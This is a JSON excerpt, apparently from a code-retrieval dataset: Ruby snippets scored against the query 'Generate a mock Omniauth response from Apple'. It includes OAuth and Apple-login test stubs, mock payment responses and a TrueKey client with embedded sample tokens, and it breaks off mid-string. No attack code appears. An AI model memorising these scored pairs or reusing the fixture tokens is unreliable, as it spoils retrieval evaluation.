"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.49559742",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.4954353",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.49535993",
"text": "def save_action; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.4952725",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49467874",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.49423352",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49325448",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49282882",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.49269363",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.49269104",
"text": "def default_action; end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49252945",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.4923091",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.49194667",
"text": "def advice\n end",
"title": ""
},
{
"docid": "99a608ac5478592e9163d99652038e13",
"score": "0.49174926",
"text": "def _handle_action_missing(*args); end",
"title": ""
},
{
"docid": "9e264985e628b89f1f39d574fdd7b881",
"score": "0.49173003",
"text": "def duas1(action)\n action.call\n action.call\nend",
"title": ""
},
{
"docid": "399ad686f5f38385ff4783b91259dbd7",
"score": "0.49171105",
"text": "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
"score": "0.4915879",
"text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"title": ""
},
{
"docid": "6e0842ade69d031131bf72e9d2a8c389",
"score": "0.49155936",
"text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"title": ""
}
] |
077fb1874c3d43368d49d364caa2cda3
|
Generate a mock Omniauth response from Apple.
|
[
{
"docid": "4d25b22b8185835b51dc31eb49918190",
"score": "0.6131905",
"text": "def apple(name: nil, email: nil, uid: nil)\n uid ||= \"#{Number.number(digits: 6)}.#{Number.hexadecimal(digits: 32)}.#{Number.number(digits: 4)}\"\n auth = Omniauth.new(name: name, email: email)\n {\n provider: 'apple',\n uid: uid,\n info: {\n sub: uid,\n email: auth.email,\n first_name: auth.first_name,\n last_name: auth.last_name\n },\n credentials: {\n token: Crypto.md5,\n refresh_token: Crypto.md5,\n expires_at: Time.forward.to_i,\n expires: true\n },\n extra: {\n raw_info: {\n iss: 'https://appleid.apple.com',\n aud: 'CLIENT_ID',\n exp: Time.forward.to_i,\n iat: Time.forward.to_i,\n sub: uid,\n at_hash: Crypto.md5,\n auth_time: Time.forward.to_i,\n email: auth.email,\n email_verified: true\n }\n }\n }\n end",
"title": ""
}
] |
[
{
"docid": "dcf82155c85ae66dd7fd4471d27a8faf",
"score": "0.64426064",
"text": "def fake_google_oauth_response(**params)\n uid = params[:uid] || \"myUid\"\n email = params[:email] || \"myname@test.com\"\n image = params[:image] || \"my_image_url\"\n token = params[:token] || \"myToken\"\n name = params[:name] || \"My Name\"\n refresh_token = params[:refresh_token] || \"myRefreshToken\"\n \n OpenStruct.new(\n uid: uid,\n info: OpenStruct.new(email: email, name: name, image: image),\n credentials: OpenStruct.new(token: token, refresh_token: refresh_token)\n )\n end",
"title": ""
},
{
"docid": "5aaef8514fc087856a976c3a75434011",
"score": "0.64163846",
"text": "def mock_auth_hash(merchant)\n return {\n provider: merchant.provider,\n uid: merchant.uid,\n username: merchant.username,\n info: {\n email: merchant.email,\n name: merchant.username,\n nickname: merchant.username,\n },\n }\n end",
"title": ""
},
{
"docid": "5abd6f38c92b5ebb78db08be8f977a49",
"score": "0.63894767",
"text": "def mock_auth_hash(merchant)\n return {\n provider: merchant.provider,\n uid: merchant.uid,\n info: {\n email: merchant.email,\n name: merchant.username\n }\n }\n end",
"title": ""
},
{
"docid": "009d361f5dd7b484b0c175eee2e1e5f9",
"score": "0.6259265",
"text": "def omniauth_mock_facebook\n OmniAuth.config.mock_auth[:facebook] = OmniAuth::AuthHash.new(\n provider: 'facebook',\n uid: identities(:facebook).uid,\n info: {\n nickname: 'jbloggs',\n email: 'joe@bloggs.com',\n name: 'Joe Bloggs',\n first_name: 'Joe',\n last_name: 'Bloggs',\n image: 'http://graph.facebook.com/1234567/picture?type=square',\n urls: { Facebook: 'http://www.facebook.com/jbloggs' },\n location: 'Palo Alto, California',\n verified: true\n },\n credentials: {\n token: 'ABCDEF...',\n expires_at: 1_321_747_205,\n expires: true\n },\n extra: {\n raw_info: {\n id: '1234567',\n name: 'Joe Bloggs',\n first_name: 'Joe',\n last_name: 'Bloggs',\n link: 'http://www.facebook.com/jbloggs',\n username: 'jbloggs',\n location: { id: '123456789', name: 'Palo Alto, California' },\n gender: 'male',\n email: 'joe@bloggs.com',\n timezone: -8,\n locale: 'en_US',\n verified: true,\n updated_time: '2011-11-11T06:21:03+0000'\n }\n }\n )\n end",
"title": ""
},
{
"docid": "c57299181ba4cefdb698d4ebadea5820",
"score": "0.61877173",
"text": "def stub_omniauth\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[:twitter] = OmniAuth::AuthHash.new({\n uid: \"3198489685\",\n provider: 'twitter',\n info: {\n description: 'bob rules',\n image: 'http://pbs.twimg.com/profile_images/599783079217995777/T4tmMdpB_normal.jpg',\n location: 'Denver, CO',\n },\n extra: {\n raw_info: {\n user_id: '1234',\n name: 'bob',\n screen_name: 'adamkijensen',\n profile_background_image_url: 'http://abs.twimg.com/images/themes/theme1/bg.png',\n }\n },\n credentials: {\n token: ENV[\"test_token\"], \n secret: ENV[\"test_secret\"] \n }\n })\n end",
"title": ""
},
{
"docid": "869f1b1f0a3318bf989075ec8ffaa392",
"score": "0.6087075",
"text": "def mock_auth_hash\n OmniAuth.config.mock_auth[:facebook] = OmniAuth::AuthHash.new({\n 'provider' => 'facebook',\n 'uid' => '123545',\n 'user_info' => {\n 'name' => 'mockuser',\n 'image' => 'mock_user_thumbnail_url'\n },\n 'credentials' => {\n 'token' => 'mock_token',\n 'secret' => 'mock_secret'\n }\n })\n end",
"title": ""
},
{
"docid": "409abe209e21b81d6360088f025d98d5",
"score": "0.60460037",
"text": "def auth_callback_test\n #render(:json=>request.env['omniauth.auth'].to_json)\n end",
"title": ""
},
{
"docid": "d4af2d4cdf31a4a627ebb5a5fdc0390f",
"score": "0.59454554",
"text": "def failed_authorize_response\n MockResponse.succeeded <<-JSON\n {\n \"data\":{\n \"id\":\"tran_e53189278c7250bfa15c9c580ff2\",\n \"amount\":\"100\",\n \"origin_amount\":100,\n \"status\":\"failed\",\n \"description\":null,\n \"livemode\":false,\n \"refunds\":null,\n \"currency\":\"EUR\",\n \"created_at\":1385054501,\n \"updated_at\":1385054501,\n \"response_code\":50102,\n \"short_id\":null,\n \"is_fraud\":false,\n \"invoices\":[\n\n ],\n \"app_id\":null,\n \"fees\":[\n\n ],\n \"payment\":{\n \"id\":\"pay_7bc2d73764f38040df934995\",\n \"type\":\"creditcard\",\n \"client\":\"client_531e6247ff900e734884\",\n \"card_type\":\"mastercard\",\n \"country\":null,\n \"expire_month\":\"5\",\n \"expire_year\":\"2020\",\n \"card_holder\":\"\",\n \"last4\":\"5100\",\n \"created_at\":1385054500,\n \"updated_at\":1385054501,\n \"app_id\":null\n },\n \"client\":{\n \"id\":\"client_531e6247ff900e734884\",\n \"email\":null,\n \"description\":null,\n \"created_at\":1385054501,\n \"updated_at\":1385054501,\n \"app_id\":null,\n \"payment\":[\n\n ],\n \"subscription\":null\n },\n \"preauthorization\":{\n \"id\":\"preauth_cfa6a29b4c679efee58b\",\n \"amount\":\"100\",\n \"currency\":\"EUR\",\n \"status\":\"failed\",\n \"livemode\":false,\n \"created_at\":1385054501,\n \"updated_at\":1385054501,\n \"app_id\":null,\n \"payment\":{\n \"id\":\"pay_7bc2d73764f38040df934995\",\n \"type\":\"creditcard\",\n \"client\":\"client_531e6247ff900e734884\",\n \"card_type\":\"mastercard\",\n \"country\":null,\n \"expire_month\":\"5\",\n \"expire_year\":\"2020\",\n \"card_holder\":\"\",\n \"last4\":\"5100\",\n \"created_at\":1385054500,\n \"updated_at\":1385054501,\n \"app_id\":null\n },\n \"client\":{\n \"id\":\"client_531e6247ff900e734884\",\n \"email\":null,\n \"description\":null,\n \"created_at\":1385054501,\n \"updated_at\":1385054501,\n \"app_id\":null,\n \"payment\":[\n\n ],\n \"subscription\":null\n }\n }\n },\n \"mode\":\"test\"\n }\n JSON\n end",
"title": ""
},
{
"docid": "9ed212a98dcaf1ac15c7f97d7e49ac9f",
"score": "0.59118915",
"text": "def stub_token_create\n stub_request(:post, %r|https*://[a-zA-Z0-9]+\\.[a-zA-Z0-9]+.*com/login/oauth2/token|).\n to_return(\n status: 200,\n body: \"{\\\"access_token\\\":\\\"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2NhbnZhcy5pbnN0cnVjdHVyZS5jb20iLCJzdWIiOiI0MzQ2MDAwMDAwMDAwMDE5NCIsImF1ZCI6Imh0dHBzOi8vYXRvbWljam9sdC5pbnN0cnVjdHVyZS5jb20vbG9naW4vb2F1dGgyL3Rva2VuIiwiaWF0IjoxNTYzNDgxNTg2LCJleHAiOjE1NjM0ODUxODYsImp0aSI6IjU0ZTRmNTVmLTk2NmUtNGNhOS1iNmM2LTYzNTY0YTA5ZDg5MiIsInNjb3BlcyI6Imh0dHBzOi8vcHVybC5pbXNnbG9iYWwub3JnL3NwZWMvbHRpLWFncy9zY29wZS9saW5laXRlbSBodHRwczovL3B1cmwuaW1zZ2xvYmFsLm9yZy9zcGVjL2x0aS1hZ3Mvc2NvcGUvcmVzdWx0LnJlYWRvbmx5IGh0dHBzOi8vcHVybC5pbXNnbG9iYWwub3JnL3NwZWMvbHRpLWFncy9zY29wZS9zY29yZSBodHRwczovL3B1cmwuaW1zZ2xvYmFsLm9yZy9zcGVjL2x0aS1ucnBzL3Njb3BlL2NvbnRleHRtZW1iZXJzaGlwLnJlYWRvbmx5In0.L1a4ZRPRjIPdMdaLFP8oatdxxJVNeyX7zQv9KHDIG8s\\\",\\\"token_type\\\":\\\"Bearer\\\",\\\"expires_in\\\":3600,\\\"scope\\\":\\\"https://purl.imsglobal.org/spec/lti-ags/scope/lineitem https://purl.imsglobal.org/spec/lti-ags/scope/result.readonly https://purl.imsglobal.org/spec/lti-ags/scope/score https://purl.imsglobal.org/spec/lti-nrps/scope/contextmembership.readonly\\\"}\",\n )\nend",
"title": ""
},
{
"docid": "ec8eb299a396677bbf343b02ee0a1dc7",
"score": "0.5896073",
"text": "def register_new_device device_name, http\n mock_response = {\n \"responseResult\" => {\n \"isSuccess\" => true,\n \"errorCode\" => \"\",\n \"errorDescription\" => nil,\n \"transactionId\" => \"e36c90af-9f73-4354-af78-902dfa80bd87\"\n },\n \"clientToken\" => \"AQCmAwEAAh4AAAAAWMajHQAAGU9DUkEtMTpIT1RQLVNIQ\" +\n \"TI1Ni0wOlFBMDgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" +\n \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" +\n \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIOiR\" +\n \"fItpCTOkvq0ZfV2+GgvP83aF9SrTBfOuabZfcQr9AAAAA\" +\n \"AgAIBwWTZpUTIn493Us/JwczrK6O0+LH8FRidFaZkJ2Al\" +\n \"Tu\",\n \"tkDeviceId\" => \"d871347bd0a3e7af61f60f511bc7de5e944c5c7787056\" +\n \"49d4aa8dc77bcd21489412894\",\n \"tkDeviceNonce\" => \"1489412894\",\n \"tkReEnrollToken\" => \"bd23b315af167d81ea216a1c26a1a836657583e84fece\" +\n \"a2fb3281920a33aec84\"\n }\n\n response = http.post_json \"https://truekeyapi.intelsecurity.com/sp/pabe/v2/so\", {\n clientUDID: \"truekey-ruby\", # The official client generates random client\n # UDID every time. It doesn't seem to be needed,\n # so it's just hardcoded here.\n deviceName: device_name,\n devicePlatformID: 7, # MacOS (see DevicePlatformType)\n deviceType: 5, # Mac (see DeviceType)\n oSName: \"Unknown\",\n oathTokenType: 1\n }, {}, mock_response\n\n result = {\n token: response[\"clientToken\"],\n id: response[\"tkDeviceId\"]\n }\n raise \"Invalid response\" if result.values.include? nil\n\n result\nend",
"title": ""
},
{
"docid": "b57927cb5e4cf5472b51c6fa6d6577f9",
"score": "0.58866936",
"text": "def stub_login\n stub_request(:post, \"https://idmsa.apple.com/IDMSWebAuth/authenticate\").\n with(body: {\"accountPassword\"=>\"so_secret\", \"appIdKey\"=>\"0123abcdef123123\", \"appleId\"=>\"spaceship@krausefx.com\"},\n headers: {'Content-Type'=>'application/x-www-form-urlencoded'}).\n to_return(status: 200, body: \"\", headers: {'Set-Cookie' => \"myacinfo=abcdef;\" })\n\n stub_request(:post, \"https://idmsa.apple.com/IDMSWebAuth/authenticate\").\n with(body: {\"accountPassword\"=>\"bad-password\", \"appIdKey\"=>\"0123abcdef123123\", \"appleId\"=>\"bad-username\"}).\n to_return(status: 200, body: \"\", headers: {})\n\n stub_request(:post, 'https://developer.apple.com/services-account/QH65B2/account/listTeams.action').\n with(headers: {'Cookie' => 'myacinfo=abcdef;'}).\n to_return(status: 200, body: read_fixture_file('listTeams.action.json'), headers: {'Content-Type' => 'application/json'})\nend",
"title": ""
},
{
"docid": "f42e89f92dc57908d912b66ba010f542",
"score": "0.5853085",
"text": "def mock_auth; end",
"title": ""
},
{
"docid": "012ccec178379dabd986944b09dfe628",
"score": "0.5851013",
"text": "def mock_facebook_hash\n\t\tOmniAuth.config.mock_auth[:facebook] = { provider: 'facebook',\n\t\t uid: '456789',\n\t\t info: {\n\t\t\t\t name: 'Facebook Tester',\n\t\t\t\t nickname: 'FacebookTester',\n\t\t\t\t first_name: 'Facebook',\n\t\t\t\t last_name: 'Tester',\n\t\t\t\t email: 'facebooktester@email.com'\n\t\t }\n\t\t}\n\tend",
"title": ""
},
{
"docid": "a7e44ff83a386d98b57e569e8f5bc8f3",
"score": "0.58355486",
"text": "def get_login_response\n api_request({'a' => 'us', 'user' => email, 'uh' => uh})\n end",
"title": ""
},
{
"docid": "63778bfa83561a78689522a06c29acd7",
"score": "0.58326876",
"text": "def stub_google_apps_auth\n user = user_attributes['info']\n email = user['email'].is_a?(Array) ? user['email'].first : user['email']\n request_env['rack.session']['user'] = {\n 'identity_url' => user_attributes['uid'],\n 'email' => email,\n 'first_name' => user['first_name'],\n 'last_name' => user['last_name']\n }\n request_env[\"omniauth.auth\"] = user_attributes\nend",
"title": ""
},
{
"docid": "9606041656da48ed1c068ec87fb932a6",
"score": "0.5819826",
"text": "def auth_step2 client_info, password, step1_transaction_id, http\n mock_response_with_one_oob = {\n \"refreshTokenExpiry\" => 0.0,\n \"responseResult\" => {\n \"isSuccess\" => true,\n \"errorCode\" => nil,\n \"errorDescription\" => nil,\n \"transactionId\" => \"296264da-50a5-4d32-b9ab-c086f360093b\"\n },\n \"riskAnalysisInfo\" => {\n \"nextStep\" => 12,\n \"flowId\" => nil,\n \"nextStepData\" => {\n \"oobDevices\" => [\n {\n \"deviceId\" => \"MTU5NjAwMjI3MQP04dNsmSNQ2LOPWrIep\" +\n \"KI6ra8lkjoubkr1B9TMpWSSytkNsFK2n/\" +\n \"utQGl+8giXPuzWxS+p9GSPvBQPE2444eZ\" +\n \"gyDogtwq3vWKX2ayAvmEj1G198GiDmjfj\" +\n \"XpkMq41hQYU=\",\n \"deviceName\" => \"LGE Nexus 5\",\n \"oobPreferred\" => false\n }\n ],\n \"verificationEmail\" => \"username@example.com\",\n \"bcaResyncToken\" => nil\n },\n \"altNextStep\" => 14,\n \"bcaNextStep\" => 0,\n \"bcaNextStepData\" => nil\n },\n \"authCode\" => nil,\n \"redirectUrl\" => nil,\n \"state\" => nil,\n \"cloudKey\" => nil,\n \"idToken\" => nil,\n \"uasTokenInfo\" => nil,\n \"oAuthTransId\" => \"ae830c59-634b-437c-95b6-58158e85ffae\",\n \"activeSession\" => false,\n \"templateCount\" => 0,\n \"refreshToken\" => nil\n }\n\n mock_response_with_two_oobs = {\n \"refreshTokenExpiry\" => 0.0,\n \"responseResult\" => {\n \"isSuccess\" => true,\n \"errorCode\" => nil,\n \"errorDescription\" => nil,\n \"transactionId\" => \"5105155e-fbbc-4a7c-bb3d-455f968e147d\"\n },\n \"riskAnalysisInfo\" => {\n \"nextStep\" => 13,\n \"flowId\" => nil,\n \"nextStepData\" => {\n \"oobDevices\" => [\n {\n \"deviceId\" => \"MTU5NjAwMjI3MQA+h3kH+ff/bO2MmXl7d\" +\n \"DMZQwwFnt9jztLUMGHXCWnCNSkhJKI14M\" +\n \"bCduOPZLtWarN6p3g2ZxqSxRNZyjfCTuH\" +\n \"RAAGbPdhu400VYpzU/liw/97TpuVdczqq\" +\n \"uX78IKwLRZ8=\",\n \"deviceName\" => \"OnePlus ONEPLUS A3003\",\n \"oobPreferred\" => false\n },\n {\n \"deviceId\" => \"MTU5NjAwMjI3MQCRJ1PS9YAIdsEjGormP\" +\n \"lvrxG3d872WvUjVOgLISXKftAD++bFzfV\" +\n \"zSdOCQhPK0iVyw0bTUxxgJH+5puKJZYfe\" +\n \"EortnUXDYmmV6VYwuX0p5+weSuI5Tt4RS\" +\n \"VpRrhueCK6g=\",\n \"deviceName\" => \"LGE Nexus 5\",\n \"oobPreferred\" => false\n }\n ],\n \"verificationEmail\" => \"username@example.com\",\n \"bcaResyncToken\" => nil\n },\n \"altNextStep\" => 14,\n \"bcaNextStep\" => 0,\n \"bcaNextStepData\" => nil\n },\n \"authCode\" => nil,\n \"redirectUrl\" => nil,\n \"state\" => nil,\n \"cloudKey\" => nil,\n \"idToken\" => nil,\n \"uasTokenInfo\" => nil,\n \"oAuthTransId\" => \"c1a79e3d-6c4d-432c-a85b-17f9c76f9f66\",\n \"activeSession\" => false,\n \"templateCount\" => 0,\n \"refreshToken\" => nil\n }\n\n response = http.post_json \"https://truekeyapi.intelsecurity.com/mp/auth\", {\n userData: {\n email: client_info[:username],\n oAuthTransId: step1_transaction_id,\n pwd: hash_password(client_info[:username], password),\n },\n deviceData: {\n deviceId: client_info[:id],\n deviceType: \"mac\",\n devicePlatformType: \"macos\",\n otpData: generate_random_otp(client_info[:otp_info])\n }\n }, {}, mock_response_with_two_oobs\n\n parse_auth_step_response response\nend",
"title": ""
},
{
"docid": "2ca825d5715c14440993e1359aa7433e",
"score": "0.57591665",
"text": "def init_omniauth_data\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[:facebook] = OmniAuth::AuthHash.new({\n provider: 'facebook',\n uid: '123545',\n info: {email: \"test-from-facebook@test.com\", name: \"test\"},\n extra: {raw_info: \"\"}\n })\n end",
"title": ""
},
{
"docid": "065775eb7e349be6eb7fabcf06dd9c28",
"score": "0.5709203",
"text": "def set_valid_omniauth\n OmniAuth.config.add_mock(:google_oauth2, build_google_oauth2_response)\nend",
"title": ""
},
{
"docid": "48c49c1b0c8fde31a8da6567d76f3622",
"score": "0.5668116",
"text": "def fake_api_responses\n source = \"./spec/fixtures/responses/\"\n destination = \"/tmp/fastlane/tests/fastlane/responses/\"\n\n FileUtils.cp_r(source, destination)\n\n fake_existing_response = File.read(File.join(destination, '/numbers_lookup_response'))\n stub_request(:get, \"http://itunes.apple.com/lookup?bundleId=com.apple.Numbers&rand=123\").to_return(fake_existing_response)\n fake_existing_in_country_response = File.read(File.join(destination, '/numbers_lookup_country_us_response'))\n stub_request(:get, \"http://itunes.apple.com/lookup?bundleId=com.apple.Numbers&country=us&rand=123\").to_return(fake_existing_in_country_response)\n fake_nonexistent_response = File.read(File.join(destination, '/nonexistent_lookup_response'))\n stub_request(:get, \"http://itunes.apple.com/lookup?bundleId=com.some.nonexistent.app&rand=123\").to_return(fake_nonexistent_response)\nend",
"title": ""
},
{
"docid": "2478b4f6fbc4d82884d92f90d23f2e97",
"score": "0.5660138",
"text": "def auth_callback_test\n render(:text=>request.env['omniauth.auth'].to_yaml)\n end",
"title": ""
},
{
"docid": "d603a69c33386c47ce940468396c87e6",
"score": "0.56590676",
"text": "def generate_response\n a1 = \"#{d(\"#{@response[:username]}:#{@response[:realm]}:#{@pass}\")}:#{@response[:nonce]}:#{@response[:cnonce]}\"\n a2 = \"AUTHENTICATE:#{@response[:'digest-uri']}\"\n h(\"#{h(a1)}:#{@response[:nonce]}:#{@response[:nc]}:#{@response[:cnonce]}:#{@response[:qop]}:#{h(a2)}\")\n end",
"title": ""
},
{
"docid": "1e55ec402084619784628d1c7e8733bf",
"score": "0.56440693",
"text": "def generate_fake_response\n \"LOL\" * 404\n end",
"title": ""
},
{
"docid": "0b2ead12f66a8c1f83f39035fa0dcf21",
"score": "0.5619634",
"text": "def verify\n user = getUserByAuthToken(request)\n theResponse = { :id => user.id, :email => user.email, :authentication_token => user.authentication_token}\n render :status => 200, :json => theResponse\n end",
"title": ""
},
{
"docid": "a4b0614f7d2ae640e96506f3d435f165",
"score": "0.56098425",
"text": "def call(username, api_key, endpoint, params = {}, user_agent = 'DataSiftRuby/0.0')\n\t\t\tif !@response\n\t\t\t\traise StandardError, 'Expected response not set in mock object'\n\t\t\tend\n\t\t\treturn @response\n\t\tend",
"title": ""
},
{
"docid": "fcfbb7f477f4188e37113f4cd1c90020",
"score": "0.56066644",
"text": "def sample_find_account_response(success)\n if success\n raw_response = OpenStruct.new(\n parsed_response: {\n \"success\"=>true,\n \"account\"=> {\n \"identifier\"=>\"test1\",\n \"email\"=>\"test@test.com\",\n \"customer\"=>\"bonusly\",\n \"available_balance\"=>5000\n }\n },\n code: 200\n )\n else\n raw_response = OpenStruct.new(\n parsed_response: {\n \"success\"=>false,\n \"error_message\"=>\"user not found for platform\"\n },\n code: 403\n )\n end\n Tangocard::Response.new(raw_response)\n end",
"title": ""
},
{
"docid": "146c92d992ed54ad61b8fda5e903ab89",
"score": "0.55889976",
"text": "def test_should_return_token_string\n do_get\n access_token = OauthToken.find(:first, :order => 'created_at DESC')\n assert_equal access_token.to_query, @response.body\n assert access_token.is_a?(::AccessToken)\n assert access_token.authorized?\n assert !access_token.invalidated?\n end",
"title": ""
},
{
"docid": "a32bc34ada946345d3cda9f2a52e087e",
"score": "0.5568496",
"text": "def log_in(user, provider: \"google_oauth2\")\n OmniAuth.config.mock_auth[provider.to_sym] = OmniAuth::AuthHash.new({\n provider: provider.to_s,\n uid: \"123456789\",\n info: {\n name: user.full_name,\n email: user.email\n }\n })\n\n get omniauth_callback_path(provider:)\nend",
"title": ""
},
{
"docid": "0c19e914a1479572d491ba9863b8635d",
"score": "0.55443263",
"text": "def test_return_complex3_object()\n\n # Perform the API call through the SDK function\n result = @controller.return_complex3_object()\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"documentId\":\"099cceda-38a8-4b01-87b9-a8f2007675d6\",\"signers\":[{\"id\":\"'\\\n '1bef97d1-0704-4eb2-a490-a8f2007675db\",\"url\":\"https://sign-test.idfy.io/'\\\n 'start?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzM4NCJ9.eyJrdmVyc2lvbiI6IjdmNzhj'\\\n 'NzNkMmQ1MjQzZWRiYjdiNDI0MmI2MDE1MWU4IiwiZG9jaWQiOiIwOTljY2VkYS0zOGE4LTR'\\\n 'iMDEtODdiOS1hOGYyMDA3Njc1ZDYiLCJhaWQiOiJjMGNlMTQ2OC1hYzk0LTRiMzQtODc2ZS'\\\n '1hODg1MDBjMmI5YTEiLCJsZyI6ImVuIiwiZXJyIjpudWxsLCJpZnIiOmZhbHNlLCJ3Ym1zZ'\\\n 'yI6ZmFsc2UsInNmaWQiOiIxYmVmOTdkMS0wNzA0LTRlYjItYTQ5MC1hOGYyMDA3Njc1ZGIi'\\\n 'LCJ1cmxleHAiOm51bGwsImF0aCI6bnVsbCwiZHQiOiJUZXN0IGRvY3VtZW50IiwidmYiOmZ'\\\n 'hbHNlLCJhbiI6IklkZnkgU0RLIGRlbW8iLCJ0aCI6IlBpbmsiLCJzcCI6IkN1YmVzIiwiZG'\\\n '9tIjpudWxsLCJyZGlyIjpmYWxzZSwidXQiOiJ3ZWIiLCJ1dHYiOm51bGwsInNtIjoidGVzd'\\\n 'EB0ZXN0LmNvbSJ9.Dyy2RSeR6dmU8qxOEi-2gEX3Gg7wry6JhkZIWOuADDdu5jJWidQLcxf'\\\n 'Jn_qAHNpb\",\"links\":[],\"externalSignerId\":\"uoiahsd321982983jhrmnec2wsadm'\\\n '32\",\"redirectSettings\":{\"redirectMode\":\"donot_redirect\"},\"signatureType'\\\n '\":{\"mechanism\":\"pkisignature\",\"onEacceptUseHandWrittenSignature\":false}'\\\n ',\"ui\":{\"dialogs\":{\"before\":{\"useCheckBox\":false,\"title\":\"Info\",\"message'\\\n '\":\"Please read the contract on the next pages carefully. Pay some extra'\\\n ' attention to paragraph 5.\"}},\"language\":\"EN\",\"styling\":{\"colorTheme\":\"'\\\n 'Pink\",\"spinner\":\"Cubes\"}},\"tags\":[],\"order\":0,\"required\":false}],\"statu'\\\n 's\":{\"documentStatus\":\"unsigned\",\"completedPackages\":[],\"attachmentPacka'\\\n 'ges\":{}},\"title\":\"Test document\",\"description\":\"This is an important do'\\\n 'cument\",\"externalId\":\"ae7b9ca7-3839-4e0d-a070-9f14bffbbf55\",\"dataToSign'\\\n '\":{\"fileName\":\"sample.txt\",\"convertToPDF\":false},\"contactDetails\":{\"ema'\\\n 'il\":\"test@test.com\",\"url\":\"https://idfy.io\"},\"advanced\":{\"tags\":[\"devel'\\\n 'op\",\"fun_with_documents\"],\"attachments\":0,\"requiredSignatures\":0,\"getSo'\\\n 'cialSecurityNumber\":false,\"timeToLive\":{\"deadline\":\"2018-06-29T14:57:25'\\\n 'Z\",\"deleteAfterHours\":1}}}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"title": ""
},
{
"docid": "320da9c2f67264fe1f2f43a4d2bc2c89",
"score": "0.55335414",
"text": "def stub_oauth_requests\n # Facebook\n stub_request(:post, \"https://graph.facebook.com/oauth/access_token\").\n to_return(:status => 200,\n :headers => {'Content-Type' => 'application/x-www-form-urlencoded'},\n :body => \"access_token=key\")\n stub_request(:get, \"https://graph.facebook.com/me?access_token=key\").\n to_return(:status => 200,\n :headers => {'Content-Type' => 'text/json'},\n :body => '{ \"id\": \"facebookuserguid\",\n \"email\": \"facebook@example.com\",\n \"last_name\": \"FacebookFamily\",\n \"first_name\": \"FacebookGiven\" }')\n # Google\n stub_request(:post, \"https://accounts.google.com/o/oauth2/token\").\n to_return(:status => 200,\n :headers => {'Content-Type' => 'application/x-www-form-urlencoded'},\n :body => \"access_token=key\")\n stub_request(:get, \"https://www.googleapis.com/oauth2/v1/userinfo?access_token=key\").\n to_return(:status => 200,\n :headers => {'Content-Type' => 'text/json'},\n :body => '{ \"id\": \"googleuserguid\",\n \"email\": \"google@example.com\",\n \"last_name\": \"GoogleFamily\",\n \"first_name\": \"GoogleGiven\" }')\n # Twitter\n stub_request(:post, \"https://api.twitter.com/oauth/request_token\").\n to_return(:status => 200,\n :headers => {},\n :body => \"oauth_token=key&oauth_token_secret=secret\")\n stub_request(:post, \"https://api.twitter.com/oauth/access_token\").\n to_return(:status => 200,\n :headers => {},\n :body => \"oauth_token=key&oauth_token_secret=secret\")\n stub_request(:get, \"https://api.twitter.com/1.1/account/verify_credentials.json\").\n to_return(:status => 200,\n :headers => {},\n :body => '{ \"id\": \"twitteruserguid\",\n \"name\": \"TwitterFamily TwitterGiven\" }')\n\n # Yahoo!\n stub_request(:post, \"https://api.login.yahoo.com/oauth/v2/get_request_token\").\n to_return(:status => 200,\n :headers => {},\n :body => \"oauth_token=key&oauth_token_secret=secret&xoauth_yahoo_guid=yahoouserguid\")\n stub_request(:post, 